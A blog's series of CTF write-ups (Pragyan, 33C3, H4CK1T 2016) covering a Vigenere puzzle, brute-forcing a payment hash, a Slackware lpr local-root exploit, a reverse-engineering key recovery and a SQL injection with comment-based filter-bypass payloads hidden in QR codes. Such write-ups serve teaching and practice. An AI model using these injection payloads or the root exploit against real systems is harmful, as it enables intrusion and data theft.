[Pragyan CTF] Game of Fame

Standard

Description:

p xasc. a zdmik qtng. yiy uist. easc os iye iq trmkbumk. gwv wolnrg kaqcs vi rlr.

Hint! Robert Sedgewick

To be honest, this challenge was pretty simple. I decrypted the text using online Vigenere cipher decrypter, which is the first cipher I try in suchcases, just after Caesar cipher.

The key was “pragyan” and the result was: “a game. a movie star. his wife. name of the cs textbook. the winner takes it all.”

I then used the hint about Robert Sedgewick, which is a famous computer science professor at Princeton University. I found that the flag is his CS textbook title.

The flag was pragyanctf{algorithms}.

[33C3 CTF] pay2win Writeup

Standard

Description:

pay2win – Web
Do you have enough money to buy the flag?

This challenge was pretty tricky to understand at the beginning. I solved it with a quick and simple workaround that allowed me to solve the challenge without fully understand it. Once I got the flag I understood the whole story. So as with all the stories, we need to begin from the start.

We’re given with a website in where we can buy two products: ‘cheap’ (13.37 USD) and ‘flag’ (31337.42 USD). We, of course, want to buy the ‘cheap’ one because we don’t want to spend our money on some leet flag with the answer to life, the universe and blah blah. So — the ‘cheap’ it is.

pay2win_1

In order to buy the product we need to supply a valid credit card number, there are bunch of examples of valid credit cards online.

pay2win_2

Lets try one of them and see what we get.

pay2win_3

Woo-hoo! We finally bought the ‘cheap’ product and fulfilled our dream.
Kidding. Lets move on and see what will we get when trying to buy the ‘flag’.

pay2win_4

pay2win_5

“failed”? Oh no. The server says that we exceeded the credit card limit. The first thing to come in my mind was to brute force the server with valid CC numbers, but I figured out very fast that this isn’t the right way to the solution. At this time I noticed something interesting about the URLs of the pages: there’s a GET parameter named ‘data’ that some parts of it are the same on every request. Until now I thought it’s always a new hash. I grabbed pencil and paper and started to figure out the patterns and the mutual parts. Okay, okay, I admit – opened VS Code and made a simple table. The mutual parts highlighted using Photoshop.

pay2win_6

As you can see, every hash is combined from 3 parts. The beginning of each type is mutual and so is the end. I thought that certain combination is required to get the flag. But how I mix the parts to the correct hash so as to get the ‘flag’ content. Now it’s about trial and error. Or not.

After two manual tries I gave up because automation is always better and here comes the workaround I mentioned before. I created a list with instance of every colored part and added one example of white part from each page. I then created from this list another list with all possible permutations of 3 parts, i.e all the possible combinatios (990 combinations) and tried all of them using urllib2.urlopen() ’til I found ’33C3′ in the response.

I know. It isn’t the most efficient way to do this but it was short and quick.

import itertools
import urllib2

hash_parts = ['28df361f896eb3c3706cda0474915040',
'5e4ec20070a567e096d3b89ed5a54b1d',
'23b5b0554edda4f8828df361f896eb3c3706cda0474915040',
'4f75c9736d3b8e0641e7995bb92506da1ac7f8da5a628e19ae39825a916d8a2f',
'232c66210158dfb23a2eda5cc945a0a9650c1ed0fa0a08f6',
'2f7ef761e2bbe791',
'47aae22e7d77d379272d81aff52de2a5',
'eaa0a3d415f1a595',
'5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c8',
'11fca73d28d20f8',
'6e9cc7ab82a57f00']

all_permutations = []

for hash in itertools.permutations(hash_parts, 3):
	all_permutations.append(''.join(hash))
 
for hash in all_permutations:
	try:
		if '33C3' in urllib2.urlopen("http://78.46.224.78:5000/payment/callback?data=%s" % hash).read():
			print 'found:',hash
	except:
		pass

# result:
# found: 5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c847aae22e7d77d379272d81aff52de2a54f75c9736d3b8e0641e7995bb92506da1ac7f8da5a628e19ae39825a916d8a2f
# found: 5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c847aae22e7d77d379272d81aff52de2a52f7ef761e2bbe791
# found: 5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c86e9cc7ab82a57f004f75c9736d3b8e0641e7995bb92506da1ac7f8da5a628e19ae39825a916d8a2f

 

It took the script 2 minutes to run and then it came up with 3 possible hashes, lets try one of them to see if we indeed got the flag:

pay2win_7

YES! We got the flag! I took a deep breath and analysed the matched hashes to find out what is the right pattern. I came out with two possible patterns:

5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c8 + X + 2f7ef761e2bbe791
5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c8 + X + 4f75c9736d3b8e0641e7995bb92506da1ac7f8da5a628e19ae39825a916d8a2f
Where X is one of the white parts of ‘flag’ product (purchase page/success).

The logic behind is as followed: Seems like the blue part is for ‘success’ and the light-blue part is for ‘failed’. The yellow part is likely for ‘product page’. If you take every hash of ‘flag’ product (product page / purchase failed) and replace its first part (light-blue / yellow) with the blue part (‘success’) you come up with a valid hash that brings the flag.

That’s it. the flag is:  33C3_3c81d6357a9099a7c091d6c7d71343075e7f8a46d55c593f0ade8f51ac8ae1a8
I’ll be happy to read in the comments how the challenge was for you.

[33C3 CTF] The 0x90s called Writeup

Standard

Description:

The 0x90s called – PWN

The 0x90s called, they want their vulns back!
Pwn this and get the flag. Who would’ve thought?
If you want to try it locally first, check this out.

This challenge was pretty simple and obvious. We are given with a website that is requesting a ‘proof of work’ from us to reduce the load on their infrastructure. We need to press start and then we get a port to which we can connect using netcat, username and password. We connect to the server and search for the flag.

Megabeets:~# nc 78.46.224.70 2323

Welcome to Linux 0.99pl12.

slack login: challenge
challenge
Password:challenge

Linux 0.99pl12. (Posix).
No mail.
slack:~$ id
uid=405(challenge) gid=1(other)
slack:~$ ls -la / | grep flag
-r--------   1 root     root           36 Dec 27  1916 flag.txt
slack:~$

Look at the highlighted rows. We can see that we are in Slack Linux 0.99pl12 machine, that flag.txt is on the root folder and that only root can read it. Before trying anything special or complicated, lets search online for known exploit to this version.

90s_called_1Oh, this was easy! There’s a known exploit available on Github.

Lets run it to see if it works, and if so read the flag.

slack:~$ gcc exploit.c -o exploit
slack:~$ id
uid=405(challenge) gid=1(other)
slack:~$ ./exploit
[ Slackware linux 1.01 /usr/bin/lpr local root exploit
# id
uid=405(challenge) gid=1(other) euid=0(root) egid=18(lp)
# cat /flag.txt
33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3

 

It worked just fine (thanks prdelka for the exploit)! We got root permissions and were able to read the flag.
Flag33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3

I’ll be happy to read in the comments how the challenge was for you.

[H4CK1T 2016] Crypt00perator – Ethiopia Writeup

Standard

Description:

Long time ago one security module has been written. But for now its sources have been missed somehow. We have forgotten th3 access k3y, which, as we remember, has been hardcoded inside the module. Help us to recollect th3 k3y!11
crypt0_0perator_56e0a9f07f54b3634ab5cc2b30e5b29e.exe

h4ck1t{…}

This is a pretty basic reverse challenge. We can solve it in many different ways but I will show you only two of them. The first one is the quickest method that will work only for this challenge, and the second is for those of you who want to understand better how to solve such challenges in the future.

So, we got an exe file and we need to find the access key. We are given with a hint that the key is somehow hardcoded in the file itself. Let’s run the file and see what will happen.

Megabeets D:\Downloads\h4ckit\ethiopia
> crypt0_0perator_56e0a9f07f54b3634ab5cc2b30e5b29e.exe
Enter th3 k3y :
> Megabeets

Denied

Seems like all it does is to ask for the key, let’s take a deeper look and see if we the key is stored clear-text in the file. Open the file in IDA pro and press Shift+F12 to open the Strings subview. The strings that written by the programmer will usually be stored in close adresses. Her’e are snip of the strings. I marked the most meaningful:

.text:0000000000468093  00000005 C G u$E                                           
.data:0000000000472020  00000029 C o3dl6s|41a42344d110746d574e35c2f77ab6>3z        
.rdata:0000000000488000 00000008 C Allowed                                         
.rdata:000000000048800E 00000007 C Denied                                          
.rdata:0000000000488015 00000010 C Enter th3 k3y :                                 
.rdata:0000000000488070 00000011 C basic_ios::clear                                
.rdata:0000000000488090 00000025 C ios_base::_M_grow_words is not valid            
.rdata:00000000004880B8 0000002A C ios_base::_M_grow_words allocation failed       
.rdata:00000000004880F2 00000006 C POSIX                                           
.rdata:0000000000488100 00000012 C std::future_error                               
.rdata:0000000000488120 00000024 C __gnu_cxx::__concurrence_lock_error             
.rdata:0000000000488148 00000026 C __gnu_cxx::__concurrence_unlock_error                                          
...
...

We can easily notice the strings which we already faced when executing the program: ‘Denied’ and ‘Enter th3 k3y :’. The ‘Allowed’ string will probably be printed after entering the right key. But what is this strange string: ‘o3dl6s|41a42344d110746d574e35c2f77ab6>3z’? Is it the key? Let’s try.

Megabeets D:\Downloads\h4ckit\ethiopia
> crypt0_0perator_56e0a9f07f54b3634ab5cc2b30e5b29e.exe
Enter th3 k3y :
> o3dl6s|41a42344d110746d574e35c2f77ab6>3z

Denied

No luck. It is not the key, but what is it? It should be meaningful somehow but I don’t yet know how the program is using this string. I decided to debug the program and set a breakpoint before the decision whether the input is the right key or not is made.

Let’s go to the main function and set a breakpoint before the calling to the Checker method:

h4ck1t_ethiopia1

 

Now let’s run the program with that long string as the input and look at the registers. We can see that RAX is pushed to the Checker function. The checker function is comparing RAX with the long string and if RAX==long_string we get the Allowed message. But our RAX is different then the long string although we use the long string as our input what means that the inputted string is being manipulated and then compared to the original long string. So, what is our RAX? Let’s hover RAX with the cursor.

h4ck1t_ethiopia2

 

Well, RAX is looking like the flag. We will get the Denied message but at least we now have the flag.

Megabeets D:\Downloads\h4ckit\ethiopia
> crypt0_0perator_56e0a9f07f54b3634ab5cc2b30e5b29e.exe
Enter th3 k3y :
> h4ck1t{36f35433c667031c203b42d5a00fe194}

Allowed

 

So we solved the challenge but now let’s see what is happening behind the scenes of this program. We can find out what the program is doing without getting too deep into the assembly code. We already know that the program is taking our input and perform some manipulation on it. After that it compares the manipulated string to this long string ‘o3dl6s|41a42344d110746d574e35c2f77ab6>3z’. The best approach in this cases is to see what is the result of different inputs, I’ll show few examples that can teach us about the program:

 

[table id=1 /]

 

As you can see, this is probably a Substitution cipher implementation. Every character is replaced  always with the same another character. We can write a short python script to figure out what is the key using our a-z0-9{} input and the matching RAX string:

 

input = "abcdefghijklmnopqrstuvwxyz0123456789{}"     
rax = "fedcba`onmlkjihwvutsrqp_~}76543210?>|z"        
expected = "o3dl6s|41a42344d110746d574e35c2f77ab6>3z"                                       
flag= ''   

for c in expected:                                    
	flag += input[rax.index(c)]                       

print flag
# flag: h4ck1t{36f35433c667031c203b42d5a00fe194}

We got the flag 🙂

If you have any questions feel free to ask and I’ll explain more.

Flag: h4ck1t{36f35433c667031c203b42d5a00fe194}

 

[H4CK1T 2016] QRb00k – Russia Writeup

Standard

Description:

Task: QRb00k – Russia – W3b – 400
The secured messenger was developed in Canada, it’s using systems with qr keys for communicating, it allows to read other people’s messages only to this key holders. But is it true? And you have to figure it out …
http://hack-quest.com

This was a very good web challenge. It took me quite a time to fully understand it but was absolutely worth of its 400 points.

Starting the challenge we are given with a messenger site that uses QR codes to communicate. The site has two main pages:

  • Create – which creates QR code from a given name and message
  • Read – an upload form to upload QR code and read the message inside

So let’s create a message:

We got a QR code which is the key to read our message:

Now let’s read the message using the QR code:

 

Ok, it all worked as it supposed to. I used the zxing service to view the content of the QR code:

h4ck1t_russia_4

Look at the raw text. It’s a short string that looks like it was base64 encoded. But wait, base64 can’t begin with “==”! Those characters usually appear at the end of base64 encoded strings. Is it reversed? Let’s check:

>>> "==QehRXS"[::-1].decode('base64')
'Itay'

Yes! it indeed was reversed. our key (QR code) is created by: QR(Reverse(Base64(name))).

Ok, now that we understand the mechanics we can let the party begin and start playing with SQL Injection. In order to create the QR codes I used this site, It was faster than using the challenge site.

I began with the obvious: ‘ or 1=1–

h4ck1t_russia_5

Whoops, Busted. The system recognized my SQLi attack. I tried some filter bypassing methods and succeeded with this input:

'/*..*/union/*..*/select/*..*/database()/*..*/union/*..*/select/*..*/'Megabeets

Reverse(Base64(input)) == “==wc0VWZiF2Zl10JvoiLuoyL0NWZsV2cvoiLuoyLu9WauV3Lq4iLq8SKoU2chJWY0FGZvoiLuoyL0NWZsV2cvoiLuoyLu9WauV3Lq4iLq8yJ”

h4ck1t_russia_6

It worked! now let’s find the correct table (“messages”) and column by using some queries to map the database:

QR(Reverse(Base64(input))) == “zRXZlJWYnVWTn8iKu4iKvQ3YlxWZz9iKu4iKv42bp5WdvoiLuoyLnMXZnF2czVWbn8iKu4iKvU2apx2Lq4iLq8SZtFmbfVGbiFGdvoiLuoyLlJXZod3Lq4iLq8ycu1Wds92YuEWblh2Yz9lbvlGdh1mcvZmbp9iKu4iKv02byZ2Lq4iLq8SKl1WYu9lbtVHbvNGK0F2Yu92YfBXdvJ3ZvoiLuoyL0NWZsV2cvoiLuoyLu9WauV3Lq4iLq8yJ”

'/*..*/union/*..*/select/*..*/group_concat(column_name)/*..*/from/*..*/information_schema.columns/*..*/where/*..*/table_name/*..*/like/*..*/'messages'/*..*/union/*..*/select/*..*/'Megabeets

h4ck1t_russia_7

“secret_field”? Sounds suspicious. Let’s query it and see what it contains:

'/*..*/union/*..*/select/*..*/secret_field/*..*/from/*..*/messages/*..*/union/*..*/select/*..*/'Megabeets

h4ck1t_russia_8

And we got the flag! I honestly really enjoyed this challenge.

Flag: h4ck1t{I_h@ck3d_qR_m3Ss@g3r}

 

If you have any questions feel free to ask 🙂